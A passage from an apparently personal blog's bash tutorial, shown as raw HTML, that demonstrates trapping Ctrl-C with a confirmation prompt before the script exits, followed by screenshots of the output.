Let's make this being more friendly, by asking users whether they want to exit or not.</div>
<div>
<br /></div>
<div>
<div>
<pre class="brush: shell;">#!/bin/bash
interrupt()
{
echo "CTRL C is being pressed"
ask=true
while [ $ask == "true" ]
do
echo -ne "Do you really want to exit (y/n): "
read answer
if [ $answer == "y" ]; then
echo "Exiting..."
exit 0
ask=false
elif [ $answer == "n" ]; then
echo "Rock on"
ask=false
else
echo "Wrong input pals..."
ask=true
fi
done
}
trap 'interrupt' INT
while true; do
sleep 1
echo "I'm still alive"
done
</pre>
</div>
<div>
<br /></div>
<div>
The script will ask users, whether they want to exit or not. If they type y (which mean yes), the script will exit with 0 code (which mean has finished). If they type n (which mean no), the script will go on. Let's try this again.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/--xvcTwGPuuA/Uaw0jsVyQ4I/AAAAAAAAARM/hld-iy2ken4/s1600/Screenshot+from+2013-06-03+13:15:22.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="251" src="http://2.bp.blogspot.com/--xvcTwGPuuA/Uaw0jsVyQ4I/AAAAAAAAARM/hld-iy2ken4/s320/Screenshot+from+2013-06-03+13:15:22.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
Pressing y</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-_ZDENkJmgVI/Uaw0wFBpLvI/AAAAAAAAARU/CGnPUHoT85A/s1600/Screenshot+from+2013-06-03+13:16:12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="251" src="http://3.bp.blogspot.com/-_ZDENkJmgVI/Uaw0wFBpLvI/AAAAAAAAARU/CGnPUHoT85A/s320/Screenshot+from+2013-06-03+13:16:12.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
Pressing n</div>
<div>
<br /></div>
</div>
</div>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com